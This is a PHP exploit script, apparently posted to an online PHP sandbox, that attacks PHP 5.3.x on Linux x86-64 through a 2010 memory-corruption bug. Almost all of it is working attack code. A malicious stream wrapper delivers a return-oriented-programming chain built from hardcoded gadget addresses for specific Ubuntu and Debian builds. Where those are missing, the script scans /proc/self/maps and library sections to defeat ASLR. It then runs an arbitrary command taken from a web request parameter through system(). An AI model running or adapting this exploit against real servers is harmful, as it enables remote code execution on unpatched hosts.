<?php
/*
* BIPSAIDS.PHP -- by blasty <blasty@fail0verflow.com>
*
* PHP 5.3.x Linux x86-64 arbitrary code execution
*
* based on : MOPS-2010-001 (yes, bugs from 2010 live in <s>2011</s> 2012)
*
* NOTES:
* Most distro's ship with PIE compiled httpd's these days, and everyone
* seems to favour php5 as module rather than using php-cgi. This puts us
* in an annoying position for doing Return-oriented-whatever.
*
* So the bad news is this exploit only works without restrictions against
* machines that use php5-cgi and where gadgets have already been identified.
*
* However, the good news is if PHP doesn't enforce open_basedir restrictions
* there's still a fat chance this exploit will succeed by parsing /proc/self/maps
* to circumvent ASLR and identify gadgets during runtime by scanning libraries.
*
*/
error_reporting(E_ALL);
if (!isset($_REQUEST['x']) && !isset($argv[1]))
die("gimme something to dance for\n");
$CMD = (isset($_REQUEST['x'])) ? $_REQUEST['x'] : $argv[1];
function ustruct($fmt, $data) {
$out = array();
$pos = 0;
$upack = array('u16'=>'S','u32'=>'V','u64'=>'V2');
$sizes = array('u16'=> 2 ,'u32'=> 4 ,'u64'=> 8 );
foreach($fmt as $name => $type) {
$v = unpack($upack[$type], substr($data, $pos, $sizes[$type]));
if ($type == 'u64')
$v = ($v[2] << 32) | $v[1];
else
$v = $v[1];
$out[$name] = $v;
$pos += $sizes[$type];
}
return $out;
}
function get_sections($filename) {
$elf64_header = array(
'e_ident0' => 'u64', 'e_ident1' => 'u64',
'type' => 'u16', 'machine' => 'u16',
'version' => 'u32', 'entry' => 'u64',
'phoff' => 'u64', 'shoff' => 'u64',
'flags' => 'u32', 'ehsize' => 'u16',
'phentsize' => 'u16', 'phnum' => 'u16',
'shentsize' => 'u16', 'shnum' => 'u16',
'shstrndx' => 'u16'
);
$elf64_sh = array(
'name' => 'u32', 'type' => 'u32',
'flags' => 'u64', 'addr' => 'u64',
'offset' => 'u64', 'size' => 'u64',
'link' => 'u32', 'info' => 'u32',
'align' => 'u64', 'entsize'=> 'u64'
);
$buf = file_get_contents($filename);
$hdr = ustruct($elf64_header, substr($buf, 0, 0x40));
echo "[>>] $filename\n";
$sections = array();
for($i = 0; $i < $hdr['shnum']; $i++) {
$data = substr($buf, $hdr['shoff'] + ($i * $hdr['shentsize']), $hdr['shentsize']);
$sections[] = ustruct($elf64_sh, $data);
}
$str_section = $sections[ $hdr['shstrndx'] ];
$ret_sections = array();
for($i = 0; $i < count($sections); $i++) {
if (!($sections[$i]['flags']&4))
continue;
$v = explode("\x00",
substr($buf, $str_section['offset'] + $sections[$i]['name'])
);
$sections[$i]['str'] = $v[0];
$sections[$i]['data'] = substr($buf, $sections[$i]['offset'], $sections[$i]['size']);
$ret_sections[] = $sections[$i];
}
return $ret_sections;
}
function find_gadgets($gg, $data, $base=0) {
$ret = array();
foreach($gg as $name => $patterns) {
if (!is_array($patterns))
$patterns = array($patterns);
foreach($patterns as $pattern) {
if (($pos = strpos($data, $pattern)) !== false) {
$ret[$name] = $base+$pos;
}
}
}
return $ret;
}
function w64($v) {
return pack("V", $v & 0xffffffff) . pack("V", $v >> 32);
}
$resolve = true;
if (
((isset($_SERVER['ORIG_SCRIPT_NAME']) && strstr($_SERVER['ORIG_SCRIPT_NAME'], "cgi") !== false) ||
(isset($_SERVER['ORIG_SCRIPT_FILENAME']) && strstr($_SERVER['ORIG_SCRIPT_FILENAME'], "cgi") !== false))
) {
$resolve = false;
$cgirop = array(
"5.3.2-1ubuntu4.10" => array(0x42c1b8, 0x42fd31, 0x42c59d, 0x65ca2b, 0x5f0758, 0x53c720, 0xd6a830, 0x096a20),
"5.3.5-1ubuntu7.3" => array(0x429d4f, 0x42f3e1, 0x428c26, 0x50b22d, 0x5f0758, 0x6b1730, 0xdae7d0, 0x095260),
"5.3.3-7+squeeze3" => array(0x42d478, 0x4310c1, 0x42d85d, 0x648bdb, 0x5dc538, 0x527600, 0xd5b810, 0x084970),
//"5.3.8" /* ARCH */ => array(0x42544c, 0x4294ba, 0x42460b, 0x428f57, 0x427859, 0x423476,
);
$v = phpversion();
if (!isset($cgirop[$v])) {
echo "plz2portgadgets: ".$v."\nattempting fallback!\n";
$resolve = true;
} else
$addy = $cgirop[$v];
}
if (!isset($addy)) {
$patterns = array(
'ADDRSP' => "\x48\x83\xc4\x28\xc3",
'POPRAX' => "\x58\xc3",
'LEACALL' => array(
"\x48\x8d\x7c\x24\x10\xff\xd0",
"\x48\x8d\x7c\x24\x18\xff\xe0"
),
'SYSTEM' => "\x53\x48\x83\xec\x10\x48\x85\xff\x74\x16"
);
$maps = explode("\n",
file_get_contents("/proc/self/maps")
);
$gadgets = array();
foreach($maps as $map) {
$map = explode(" ", preg_replace('!\s+!', ' ', $map));
if (count($map)<2 || !strstr($map[1], "x") || $map[5][0] == '[')
continue;
if (count($patterns) == 1 && !strstr($map[5], "libc"))
continue;
$exec_sections = get_sections($map[5]);
$tmp = explode("-", $map[0]);
$page_offs = hexdec($tmp[0]);
foreach($exec_sections as $section) {
$new_gadgets = find_gadgets(
$patterns, $section['data'], $section['offset']
);
foreach($new_gadgets as $name => $offs) {
if (isset($patterns[$name])) {
printf(" `- found gadget '%s' in [%s -> %s] @ 0x%x\n", $name, $map[5], $section['str'], $page_offs+$offs);
unset($patterns[$name]);
$new_gadgets[$name] += $page_offs;
}
}
if (count($new_gadgets) > 0)
$gadgets = array_merge($gadgets, $new_gadgets);
if (count($patterns) == 0) {
echo "!!! ALL GADGETS FOUND, LETS-A-GO !!!\n";
break 2;
}
}
}
$addy = $gadgets;
}
if (isset($gadgets)) {
$ropvar = array('ADDRSP','POPRAX','LEACALL','SYSTEM');
for($i = 0; $i < count($ropvar); $i++) {
printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $ropvar[$i] ]);
$$ropvar[$i] = w64($addy[ $ropvar[$i] ]);
}
} else {
$ropvar = array('ADDRSP','POPRAX','POPRDI','DEREFRAX','SUBRDIRAX','LEACALL','GOTENTRY','LIBCDELTA');
for($i = 0; $i < count($ropvar); $i++) {
printf("setting %s to 0x%x\n", $ropvar[$i], $addy[ $i ]);
$$ropvar[$i] = w64($addy[ $i ]);
}
}
if (!isset($addy) || count($addy) != count($ropvar))
die("looks like this tech isn't compatible with your box.\n");
class evil_stream {
function stream_open($a, $b, $c, &$e) { return 1; }
function stream_eof() { return 0; }
function stream_seek($offset, $whence) { return 0; }
function stream_read($count) {
global $ADDRSP, $POPRAX, $GOTENTRY, $DEREFRAX, $POPRDI, $LIBCDELTA, $SUBRDIRAX, $LEACALL, $CMD, $SYSTEM;
hash_final($GLOBALS['hid'], false);
$GLOBALS['a'] = str_repeat($ADDRSP, 3); // add 40, rsp
if (isset($SYSTEM) && !empty($SYSTEM))
return
$POPRAX . $SYSTEM .
$LEACALL .
str_repeat("Z", 0x58) .
"WOOP ; " . $CMD . "\x00";
else
return
$POPRAX . $GOTENTRY . $DEREFRAX .
$POPRDI . $LIBCDELTA .
$SUBRDIRAX .
$LEACALL .
str_repeat("Z", 0x58) .
"WOOP ; " . $CMD . " ; echo lol\x00";
}
}
stream_wrapper_register("evil", "evil_stream") || die("oh snap :(\n");
$hid = hash_init('md5');
hash_update_file($hid, "evil://code");
echo "you goofed up\n";
?>
- Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.38, 7.0.0 - 7.0.32, 7.1.0 - 7.1.24, 7.2.0 - 7.2.12
- gimme something to dance for
preferences:
218.12 ms | 404 KiB | 283 Q